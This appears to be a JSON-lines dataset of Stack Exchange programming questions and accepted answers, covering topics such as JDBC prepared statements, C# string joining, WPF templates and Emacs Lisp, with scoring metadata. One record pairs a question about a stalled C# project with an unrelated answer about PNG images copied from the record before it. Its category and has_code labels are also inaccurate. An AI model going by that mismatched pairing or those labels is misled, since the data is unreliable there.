{"id": "hf_6d40f11f73a6", "question": "<p>Some years ago I was told about a study into code reuse. Apparently it was found that, on average, programmers have a 7 minute window when searching for code to reuse. If they don't find code that suits their needs within that window they'll write their own.</p>\n\n<p>This was presented in the context of needing to carefully manage your code for reuse to ensure that you can find what you need within the window.</p>\n\n<p>How do you (individuals and organisations) manage your source to make it easier to reuse?\nDo you specifically maintain a reuse library? And if so, how do you index it to maximise your hit rate?</p>\n", "question_body": "", "answer": "A complex question:\nSome parts of the code can be generalized as libraries or APIs. We have a common library which is kept up to date with solutions to common problems. Typically: validation, caching, data access classes, logging, etc...\nSome parts are application specific. They cannot be generalized easily. We convert them in HowTos and give internal presentations. Code is also recycled by use of an easily browsable SCM (in our case SVN).\nWe also have tools that generate code that one one hand cannot be recycled, on the other it's always similar (think calling a stored procedure).\nPair programming is also a useful way to spread knowledge of existing solutions. We use that when possible or appropriate.\nThe last technique is tuition. Each coder has a tutor to refer to. Since the tutors are few, there is a lot of sharing between them and this knowledge can be diffused in a top down manner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.521065"}
{"id": "hf_081114793dcc", "question": "<p>Is there a built-in way to escape user input in java using the <code>JDBC</code>? Something similar to the php version <code>mysql_real_escape()</code> function. What's the best way to validate input?</p>\n", "question_body": "", "answer": "If you mean how do you make sure user input can't be used in SQL injection attacks, the way to do this (and the way all SQL should be written in JDBC) is using Prepared Statements. JDBC will automatically handle any necessary escaping.\nhttp://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.544918"}
{"id": "hf_92b6d687a703", "question": "<p>For the most part, you just take whatever Visual Studio sets it for you as a default... I'm referring to the <a href=\"https://learn.microsoft.com/en-us/visualstudio/ide/build-actions?view=vs-2019\" rel=\"noreferrer\">BuildAction</a> property for each file selected in Solution Explorer. There are a number of options and it's difficult to know what each one of them will do.</p>\n", "question_body": "", "answer": "From the documentation:\nThe BuildAction property indicates\n  what Visual Studio does with a file\n  when a build is executed. BuildAction\n  can have one of several values:\nNone - The file is not included in the\n  project output group and is not\n  compiled in the build process. An\n  example is a text file that contains\n  documentation, such as a Readme file.\nCompile - The file is compiled into\n  the build output. This setting is used\n  for code files.\nContent - The file is not compiled,\n  but is included in the Content output\n  group. For example, this setting is\n  the default value for an .htm or other\n  kind of Web file.\nEmbedded Resource - This file is\n  embedded in the main project build\n  output as a DLL or executable. It is\n  typically used for resource files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.568474"}
{"id": "hf_9190c6efb2bc", "question": "<p>There is a webpage loaded in the firefox sidebar and another webpage loaded in the main document. Now, how do I ask access the main document object through the Firefox sidebar? An example to do this through Javascript code in the firefox sidebar document to access the main document would be helpful.</p>\n\n<p>Thanks for the answers. I have to refine my question however. The main window has some webpage loaded and the sidebar has a webpage. I want the sidebar window to know what text the user has selected on the main window when a link on the sidebar window is clicked. I know how to get the selected text from a window. Only that the sidebar element adds complexity to the problem that I am not able to surpass.</p>\n\n<p>@PConory:</p>\n\n<p>I like your answer, but when I try it there is an error:</p>\n\n<blockquote>\n  <p>Error: Permission denied to create wrapper for object of class\n  UnnamedClass.</p>\n</blockquote>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Accessing the main window from a sidebar is much trickier than going back the other way.\nThe DOM tree you'll need to traverse, according to\nMozilla's developer centre\n, is:\n```\n```\n#document\n  window                 main-window\n    ...\n      browser\n        #document\n          window         sidebarWindow\n```\n```\nFrom the above link, the following code will allow you to get at the\n```\nmainWindow\n```\nobject:\n```\n```\nvar mWin = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor)\n               .getInterface(Components.interfaces.nsIWebNavigation)\n               .QueryInterface(Components.interfaces.nsIDocShellTreeItem)\n               .rootTreeItem\n               .QueryInterface(Components.interfaces.nsIInterfaceRequestor)\n               .getInterface(Components.interfaces.nsIDOMWindow);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.638363"}
{"id": "hf_8961a11b8e74", "question": "<ol>\n<li><p>Is there a open source or free suite that can integrate testcases, tests, bugs and possibly the fixes(source code) together. Maintaining the requirements in this system is not a necessity (though, it would be nice to enter a requirement id for each testcase in a custom field). We are a small organization and cannot afford something like HP Quality Center.</p></li>\n<li><p>We have coding skills (Java, SQL), so if it comes to integration of different tools using Java APIs, it should not be a problem. Similarly, a practical solution using export/import of results/data should also be fine (we could automate where possible). </p></li>\n<li><p>Has anybody used PushToTest TestMaker as part of such a solution.</p></li>\n</ol>\n", "question_body": "", "answer": "This link\nhttp://www.testingfaqs.org/t-management.html\nhas a list of test case management tools, both freeware and commercial. Maybe there is something on that list which can meet your needs.\nAnother posibility is something like\nTrac\n. That is not really designed as a test case management tool but it integrates a Subversion repository browser, a bug tracker and a Wiki. If you can manage organising the test cases on the Wiki then that will let you link the Wiki pages to bugs and bugs to Subversion commits. We used to use Trac and were quite happy with it. We switched to Jira because we wanted some more bug tracking features.\nI have not used it, but Trac does have a testcase management\nplugin\nlisted on their web page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.690409"}
{"id": "hf_7156b9b7be08", "question": "<p>What is your favorite, lossless image format for games (namely 2d games)? And why?</p>\n\n<p>Some things to take into consideration are size on disk, overhead for converting to a usable format, and features of the format (ie alpha support).</p>\n\n<p>There is no best answer, but be sure to back yours up the best you can!</p>\n", "question_body": "", "answer": "I'd suggest PNG. Most software supports writing it, most libraries support reading it, it's lossless and supports alpha transparency. And it's a standard format.\nAnd, maybe important for hobbyist 2D games, very small images also result in very small files (i.e. a 16x16 icon can be 1KB or less).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.714573"}
{"id": "hf_2c084534e898", "question": "<p>Clicking through to the download-page if see that the last version of the download is <strong>over one year old</strong> and it's also \"just\" a <strong>Release Candidate</strong> of version 1.0. There are really no news on any development.</p>\n\n<p>Yes, you can find newer versions from the nightly builds, but that's not a real serious option.</p>\n\n<p>Also, the \"getting-started\" and description-pages are sometimes not even started and some not completed.</p>\n\n<p>What's the deal? Any C# 3.0 features on the way or what?</p>\n", "question_body": "", "answer": "I'd suggest PNG. Most software supports writing it, most libraries support reading it, it's lossless and supports alpha transparency. And it's a standard format.\nAnd, maybe important for hobbyist 2D games, very small images also result in very small files (i.e. a 16x16 icon can be 1KB or less).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.738250"}
{"id": "hf_8e42964c094a", "question": "<p>I have a little dilemma on how to set up my visual studio builds for multi-targeting.</p>\n\n<p>Background: c# .NET v2.0 with p/invoking into 3rd party 32 bit DLL's, SQL compact v3.5 SP1, with a Setup project. \nRight now, the platform target is set to x86 so it can be run on Windows x64.</p>\n\n<p>The 3rd party company has just released 64 bit versions of their DLL's and I want to build a dedicated 64bit program.</p>\n\n<p>This raises some questions which I haven't got the answers to yet.\nI want to have the exact same code base.\nI must build with references to either the 32bit set of DLL's or 64bit DLL's.\n(Both 3rd party and SQL Server Compact)</p>\n\n<p>Can this be solved with 2 new sets of configurations (Debug64 and Release64) ?</p>\n\n<p>Must I create 2 separate setup projects(std. visual studio projects, no Wix or any other utility), or can this be solved within the same .msi?</p>\n\n<p>Any ideas and/or recommendations would be welcomed.</p>\n", "question_body": "", "answer": "Not sure of the total answer to your question - but thought I would point out a comment in the Additional Information section of the\nSQL Compact 3.5 SP1 download page\nseeing you are looking at x64 - hope it helps.\nDue to changes in SQL Server Compact\n  SP1 and additional 64-bit version\n  support, centrally installed and mixed\n  mode environments of 32-bit version of\n  SQL Server Compact 3.5 and 64-bit\n  version of SQL Server Compact 3.5 SP1\n  can create what appear to be\n  intermittent problems. To minimize the\n  potential for conflicts, and to enable\n  platform neutral deployment of managed\n  client applications, centrally\n  installing the 64-bit version of SQL\n  Server Compact 3.5 SP1 using the\n  Windows Installer (MSI) file also\n  requires installing the 32-bit version\n  of SQL Server Compact 3.5 SP1 MSI\n  file. For applications that only\n  require native 64-bit, private\n  deployment of the 64-bit version of\n  SQL Server Compact 3.5 SP1 can be\n  utilized.\nI read this as \"include the 32bit SQLCE files\nas well as\nthe 64bit files\" if distributing for 64bit clients.\nMakes life interesting I guess.. must say that I love the \"what appears to be intermittent problems\" line... sounds a bit like \"you are imagining things, but just in case, do this...\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.762165"}
{"id": "hf_a3fcff951590", "question": "<p>What is the advantages/disadvantages of using inline functions in C++? I see that it only increases performance for the code that the compiler outputs, but with today's optimized compilers, fast CPUs, huge memory etc. (not like in the 1980&lt; where memory was scarce and everything had to fit in 100KB of memory) what advantages do they really have today?</p>\n", "question_body": "", "answer": "Inline functions are faster because you don't need to push and pop things on/off the stack like parameters and the return address; however, it does make your binary slightly larger.\nDoes it make a significant difference?  Not noticeably enough on modern hardware for most.  But it can make a difference, which is enough for some people.\nMarking something inline does not give you a guarantee that it will be inline.  It's just a suggestion to the compiler.  Sometimes it's not possible such as when you have a virtual function, or when there is recursion involved.  And sometimes the compiler just chooses not to use it.\nI could see a situation like this making a detectable difference:\n```\n```\ninline int aplusb_pow2(int a, int b) {\n  return (a + b)*(a + b) ;\n}\n\nfor(int a = 0; a < 900000; ++a)\n    for(int b = 0; b < 900000; ++b)\n        aplusb_pow2(a, b);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.809574"}
{"id": "hf_9ef91fbe22b3", "question": "<p>All,</p>\n\n<p>As part of an application I'm writing I need to have a HTTP PUT webservice which accepts incoming imagedata, which will by analyzed, validated, and added to a local file store.</p>\n\n<p>My issue arises after the size validation as the </p>\n\n<blockquote>\n  <p><code>$_SERVER['CONTENT_LENGTH']</code></p>\n</blockquote>\n\n<p>has a > 0 value, and this value is identical to the test file size, so I can assume that all is going well up to this point <em>but</em> when I try to read the incoming stream data using </p>\n\n<blockquote>\n  <p><code>file_get_contents('php://stdin');</code></p>\n</blockquote>\n\n<p>I get an empty string. I've also tried using </p>\n\n<blockquote>\n  <p><code>file_get_contents('php://input');</code></p>\n</blockquote>\n\n<p>And this give me the same result of an empty string.</p>\n\n<p>Any help, suggestions or direction will be appreciated.</p>\n\n<p>NB: I'm using </p>\n\n<ul>\n<li>PHP 5.2.6</li>\n<li>Apache 2.0</li>\n</ul>\n", "question_body": "", "answer": "The\n```\nr\n```\nyou've got as the second arg isn't right.\n```\nfile_get_contents\n```\ndoesn't use the\n```\na/r/w/a+/r+/w+\n```\narguments that\n```\nfopen\n```\nuses.  You probably want to remove it and just do:\n```\n```\nfile_get_contents('php://input');\n```\n```\nSee\nhttp://us3.php.net/file_get_contents\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.846567"}
{"id": "hf_033a31f7d51e", "question": "<p>I have an array of integers:</p>\n<pre><code>int[] number = new int[] { 2,3,6,7 };\n</code></pre>\n<p>What is the easiest way of converting these into a single string where the numbers are separated by a character (like: <code>&quot;2,3,6,7&quot;</code>)?</p>\n<p>I'm using C# and .NET 3.5.</p>\n", "question_body": "", "answer": "```\n```\nvar ints = new int[] {1, 2, 3, 4, 5};\nvar result = string.Join(\",\", ints.Select(x => x.ToString()).ToArray());\nConsole.WriteLine(result); // prints \"1,2,3,4,5\"\n```\n```\nAs of (at least) .NET 4.5,\n```\n```\nvar result = string.Join(\",\", ints.Select(x => x.ToString()).ToArray());\n```\n```\nis equivalent to:\n```\n```\nvar result = string.Join(\",\", ints);\n```\n```\nI see several solutions advertise usage of StringBuilder. Someone complains that the Join method should take an IEnumerable argument.\nI'm going to disappoint you :) String.Join requires an array for a single reason - performance. The Join method needs to know the size of the data to effectively preallocate the necessary amount of memory.\nHere is a part of the internal implementation of String.Join method:\n```\n```\n// length computed from length of items in input array and length of separator\nstring str = FastAllocateString(length);\nfixed (char* chRef = &str.m_firstChar) // note than we use direct memory access here\n{\n    UnSafeCharBuffer buffer = new UnSafeCharBuffer(chRef, length);\n    buffer.AppendString(value[startIndex]);\n    for (int j = startIndex + 1; j <= num2; j++)\n    {\n        buffer.AppendString(separator);\n        buffer.AppendString(value[j]);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.870664"}
{"id": "hf_9d98ddea843c", "question": "<p>I could not find any pointers on how to create a menubar icon on OSX using wx. I originally thought that the wxTaskBarIcon class would do, but it actually creates an icon on the Dock. On Windows, wxTaskBarIcon creates a Systray icon and associated menu, and I would think that on mac osx it would create a menubar icon, I guess not.</p>\n", "question_body": "", "answer": "You have to set\n```\nwxTaskBarIconType\n```\nto\n```\nSTATUSITEM\n```\n, not\n```\nDOCK\n```\n. The Cocoa APIs for this are\n```\nNSStatusBar\n```\nand\n```\nNSStatusItem\n```\n;\nhere's the code in wxWidgets that calls to them\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.930865"}
{"id": "hf_979db09ab9ae", "question": "<p>I've got a sections table, and an items table.</p>\n\n<p>The problem is each item may be in one or more sections, so a simple 'section_id' for each item won't work, and sql doesn't have a way to store arrays where I can do say \"WHERE 5 in section_ids\"...</p>\n\n<p>I've considered storing the list of ids as a comma separated string, the problem is I see no way to then check if an item is in a given section from the sql query. The only option I see here is to select the entire table, and parse the strings in php. Needless to say that with 1000's of items this isn't a good idea.</p>\n\n<p>Is there a better way to 'link' an item with multiple sections, and be able to easily select all items for a given section id?</p>\n", "question_body": "", "answer": "You need a third table itemsPerSection with a primary key composed of both itemid and sectionid, this way you can have a N to N relationship and it's very easy to search on.\nSo:\n```\n```\nItems   -   ItemsPerSection   -   Secion\nitemid  <->   itemid\n             sectionid        <->   sectionid\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.003953"}
{"id": "hf_2366ae3a5f78", "question": "<p>I'm doing some Android development, and I much prefer Visual Studio, but I'll have to use <em>Eclipse</em> for this.</p>\n\n<p>Has anyone made a tool which can make <em>Eclipse</em> look and behave more like visual studio? I mainly can't stand its <strong>clippyesqe</strong> suggestions on how I should program (Yes, I know I have not yet used that private field! Thanks Eclipse!), or its incredibly lousy <strong>intellisense</strong>.</p>\n\n<p>For example, in eclipse, if I don't type <code>this</code> first, its <strong>intellisense</strong> won't realise I want to look for locally scoped members. Also, the TAB to complete VS convention is drilled into my head, and <em>Eclipse</em> is ENTER to complete, I could switch everything by hand but that would take hours, and I was hoping someone had some sort of theme or something that has already done it.</p>\n", "question_body": "", "answer": "Have you tried using the Visual Studio keybindings available in Eclipse Ganymede (3.4)?\n(You may want to know that \"IntelliSense\" is a Visual Studio-term, an probably unknown to anyone without Visual Studio-experience. \"Autocompletion\" is probably a more widely used term.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.040941"}
{"id": "hf_da2e1f958edc", "question": "<p>From time to time I browse the web and look for interesting algorithms and datastructures to put into my bag of tricks. A year ago I came across the <a href=\"http://en.wikipedia.org/wiki/Soft_heap\" rel=\"noreferrer\">Soft Heap</a> data-structure and learned about near sorting.</p>\n\n<p>The idea behind this is that it's possible to break the O(n log n) barrier of compare based sorts if you can live with the fact that the sort algorithm cheats a bit. You get a almost sorted list but you have to live with some errors as well.</p>\n\n<p>I played around with the algorithms in a test environement but never found a use for them. </p>\n\n<p>So the question: Has anyone ever used near sorting in practice? If so in which kind of applications? Can you think up a use-case where near sorting is the right thing to do? </p>\n", "question_body": "", "answer": "This is a total flying guess, but given the inherent subjectivity of \"relevance\" measures when sorting search results, I'd venture that it doesn't really matter whether or not they're perfectly sorted. The same could be said for recommendations. If you can somehow arrange that every other part of your algorithm for those things is O(n) then you might look to avoid a sort.\nBe aware also that in the worst case your \"nearly sorted\" data\ndoes not\nmeet one possible intuitive idea of \"nearly sorted\", which is that it has only a small number of inversions. The reason for this is just that if your data has only O(n) inversions, then you can finish sorting it in O(n) time using insertion sort or cocktail sort (i.e. two-way bubble sort). It follows that you cannot possibly have reached this point from completely unsorted, in O(n) time (using comparisons). So you're looking for applications where a majority subset of the data is sorted and the remainder is scattered,\nnot\nfor applications requiring that every element is close to its correct position.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.076350"}
{"id": "hf_7687145c258c", "question": "<p>I'm writing an interactive function that I'd like to have remember the last argument the user supplied and use it as the default.  </p>\n\n<pre><code>(defun run-rake (param)\n  (interactive \"sTask: \")\n  (shell-command (format \"rake %s\" task)))\n</code></pre>\n\n<p>The first time the function is invoked I want it to remember the argument the user supplied so that the next time they invoke the function they can just press enter and it will use the value they supplied the previous time.</p>\n\n<p>I can't seem to find this in the documentation - how do you do this in elisp?</p>\n", "question_body": "", "answer": "I figured out how to do this manually using a defvar (global), but this feels like the kind of thing that should already be provided by the core library (kind of like scheme's make-parameter).  This just seems like more code, and more manual than it should be:\n```\n```\n(defvar *editconf-ruby-run-rake-last-rake-task* nil)\n\n(defun editconf-ruby-run-rake-last-rake-task (&optional new-val)\n  (when new-val\n    (setf *editconf-ruby-run-rake-last-rake-task* new-val))\n  *editconf-ruby-run-rake-last-rake-task*)\n\n(defun editconf-ruby-run-rake (task-name)\n  \"Execute rake `task-name'.  See                                                                                            \n`krb-ruby-get-rakefile-path-for-current-buffer' for how the                                                                  \nRakefile is located..\"\n  (interactive\n   (let* ((rakefile (krb-ruby-get-rakefile-path-for-current-buffer))\n          (rake-tasks (krb-ruby-get-rake-tasks rakefile))\n          (default-task (or (editconf-ruby-run-rake-last-rake-task)\n                            (editconf-ruby-run-rake-last-rake-task (car rake-tasks)))))\n     (list\n      (read-string (format \"Task [%s|%s]: \"\n                           rake-tasks\n                           default-task)\n                   nil nil default-task))))\n  (editconf-ruby-run-rake-last-rake-task task-name)\n  (let ((cmd (format \"cd %s; rake %s\"\n                     (krb-lisp-strip-path-suffix rakefile 1)\n                     task-name)))\n    (message \"editconf-ruby-run-rake: cmd='%s'\" cmd)\n    (shell-command cmd)))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.100320"}
{"id": "hf_025faed149f5", "question": "<p>I'm making a study on refactoring limitations on improving existing software architecture and I would be interested to hear your experiences where you have found refactoring to be not enough or still too immature to accomplish your goals.</p>\n", "question_body": "", "answer": "Refactoring can be risky\nRefactoring is often difficult because the refactorer often isn't the same person as the original designer. Therefore, he or she doesn't have the same background in the system and the decisions that went behind the original design. You always run the risk that bugs avoided in the original design may creep up in the new design.\nThis may be especially true when a new or young team member, not fully experienced with this system, decides to inject new-cool-wizbang technology or ideas into an otherwise stable system. Often when the new team members are not integrated well into the team and are not given sufficient guidance, they may begin forcing the project in directions unintended by the whole team.\nThis is just a risk, however, there's also a chance that the team is wrong and the new team member, if put in charge and was allowed to do his or her thing, would actually make a serious improvement.\nThese problems often come up amongst a team working on legacy systems. Often there are no world-altering enhancements planned, so the team is conservative with their design. Their goal is to prevent new bugs from being injected and fix old ones with a couple extra features thrown in. A new team member might come along and upset the apple cart by insisting that, he rewrite certain subsystems of the code. New bugs are created and users of a fairly stable product are upset because the software, from there perspective is getting worst.\nSo if your goal is long-term stability without major functionality changes, often major refactoring is not what you want.\nIf you have larger functionality changes in the pike however, have a user-base that expects your product to not be fully baked quite yet (ie you're in some sort of beta), then its a much better situation to consider serious refactoring because the long-term benefits of the superior design will pay off and you're less likely to disrupt a large user base.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.168586"}
{"id": "hf_44ba9c89a6f7", "question": "<p>I need a robust and simple way to remove illegal path and file characters from a simple string. I've used the below code but it doesn't seem to do anything, what am I missing?</p>\n\n<pre><code>using System;\nusing System.IO;\n\nnamespace ConsoleApplication1\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            string illegal = \"\\\"M&lt;&gt;\\\"\\\\a/ry/ h**ad:&gt;&gt; a\\\\/:*?\\\"&lt;&gt;| li*tt|le|| la\\\"mb.?\";\n\n            illegal = illegal.Trim(Path.GetInvalidFileNameChars());\n            illegal = illegal.Trim(Path.GetInvalidPathChars());\n\n            Console.WriteLine(illegal);\n            Console.ReadLine();\n        }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "For starters,\nTrim only removes characters from the beginning or end of the string\n. Secondly, you should evaluate if you really want to remove the offensive characters, or fail fast and let the user know their filename is invalid. My choice is the latter, but my answer should at least show you how to do things the right AND wrong way:\nStackOverflow question showing how to check if a given string is a valid file name\n. Note you can use the regex from this question to remove characters with a regular expression replacement (if you really need to do this).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.191960"}
{"id": "hf_1ecec7fe02c7", "question": "<p>I need to randomly fade my background images in and out.</p>\n\n<p>It will be a timed function, like once every 5 seconds.<br>\nI need to do it with ASP.NET, Javascript, CSS or all three.</p>\n\n<p>Please help me out here guys.  Thank you.</p>\n", "question_body": "", "answer": "This is the Answer:\nnever mind guys, after making a bit more exact search on Google.  I found a good solution.\n```\n```\n<html>\n<head>\n<!--\nThis file retrieved from the JS-Examples archives\nhttp://www.js-examples.com\n1000s of free ready to use scripts, tutorials, forums.\nAuthor: Steve S - http://jsmadeeasy.com/ \n-->\n\n<style>\nbody\n{\n/*Remove below line to make bgimage NOT fixed*/\nbackground-attachment:fixed;\nbackground-repeat: no-repeat;\n/*Use center center in place of 300 200 to center bg image*/\nbackground-position: 300 200;\n}\n</style>\n\n<script language=\"JavaScript1.2\">\n/* you must supply your own immages */\nvar bgimages=new Array()\nbgimages[0]=\"http://js-examples.com/images/blue_ball0.gif\"\nbgimages[1]=\"http://js-examples.com/images/red_ball0.gif\"\nbgimages[2]=\"http://js-examples.com/images/green_ball0.gif\"\n\n//preload images\nvar pathToImg=new Array()\nfor (i=0;i<bgimages.length;i++)\n{\n  pathToImg[i]=new Image()\n  pathToImg[i].src=bgimages[i]\n}\n\nvar inc=-1\n\nfunction bgSlide()\n{\n  if (inc<bgimages.length-1)\n    inc++\n  else\n    inc=0\n  document.body.background=pathToImg[inc].src\n}\n\nif (document.all||document.getElementById)\n  window.onload=new Function('setInterval(\"bgSlide()\",3000)')\n</script>\n\n</head>\n<body>\n<BR><center><a href='http://www.js-examples.com'>JS-Examples.com</a></center> \n</body>\n</html>\n```\n```\nFound it here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.237899"}
{"id": "hf_ecde5692dc99", "question": "<p>Are there any dictionary classes in the .NET base class library which allow duplicate keys to be used?  The only solution I've found is to create, for example, a class like:</p>\n\n<pre><code>Dictionary&lt;string, List&lt;object&gt;&gt;\n</code></pre>\n\n<p>But this is quite irritating to actually use.  In Java, I believe a MultiMap accomplishes this, but cannot find an analog in .NET.</p>\n", "question_body": "", "answer": "I think something like\n```\nList<KeyValuePair<object, object>>\n```\nwould do the Job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.287005"}
{"id": "hf_5ed8edca9756", "question": "<p>In Nant, I would like to be able to extract the last name of the directory in a path.<br>\nFor example, we have the path 'c:\\my_proj\\source\\test.my_dll\\'</p>\n\n<p>I would like to pass in that path and extract 'test.my_dll'</p>\n\n<p>Is there a way to easily do this?</p>\n", "question_body": "", "answer": "See the\nscript\ntask.  You can write custom code in C# or whatever, and return a value that you can assign to a property.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.336096"}
{"id": "hf_f52865686d81", "question": "<p>I need to change the DataTemplate for items in a ListBox depending on whether the item is selected or not (displaying different/more information when selected).</p>\n\n<p>I don't get a GotFocus/LostFocus event on the top-most element in the DataTemplate (a StackPanel) when clicking the ListBox item in question (only through tabbing), and I'm out of ideas.</p>\n", "question_body": "", "answer": "The easiest way to do this is to supply a template for the \"ItemContainerStyle\" and NOT the \"ItemTemplate\" property. In the code below I create 2 data templates: one for the \"unselected\" and one for the \"selected\" states. I then create a template for the \"ItemContainerStyle\" which is the actual \"ListBoxItem\" that contains the item. I set the default \"ContentTemplate\" to the \"Unselected\" state, and then supply a trigger that swaps out the template when the \"IsSelected\" property is true. (Note: I am setting the \"ItemsSource\" property in the code behind to a list of strings for simplicity)\n```\n```\n<Window.Resources>\n\n<DataTemplate x:Key=\"ItemTemplate\">\n    <TextBlock Text=\"{Binding}\" Foreground=\"Red\" />\n</DataTemplate>\n\n<DataTemplate x:Key=\"SelectedTemplate\">\n    <TextBlock Text=\"{Binding}\" Foreground=\"White\" />\n</DataTemplate>\n\n<Style TargetType=\"{x:Type ListBoxItem}\" x:Key=\"ContainerStyle\">\n    <Setter Property=\"ContentTemplate\" Value=\"{StaticResource ItemTemplate}\" />\n    <Style.Triggers>\n        <Trigger Property=\"IsSelected\" Value=\"True\">\n            <Setter Property=\"ContentTemplate\" Value=\"{StaticResource SelectedTemplate}\" />\n        </Trigger>\n    </Style.Triggers>\n</Style>\n\n</Window.Resources>\n<ListBox x:Name=\"lstItems\" ItemContainerStyle=\"{StaticResource ContainerStyle}\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.372521"}
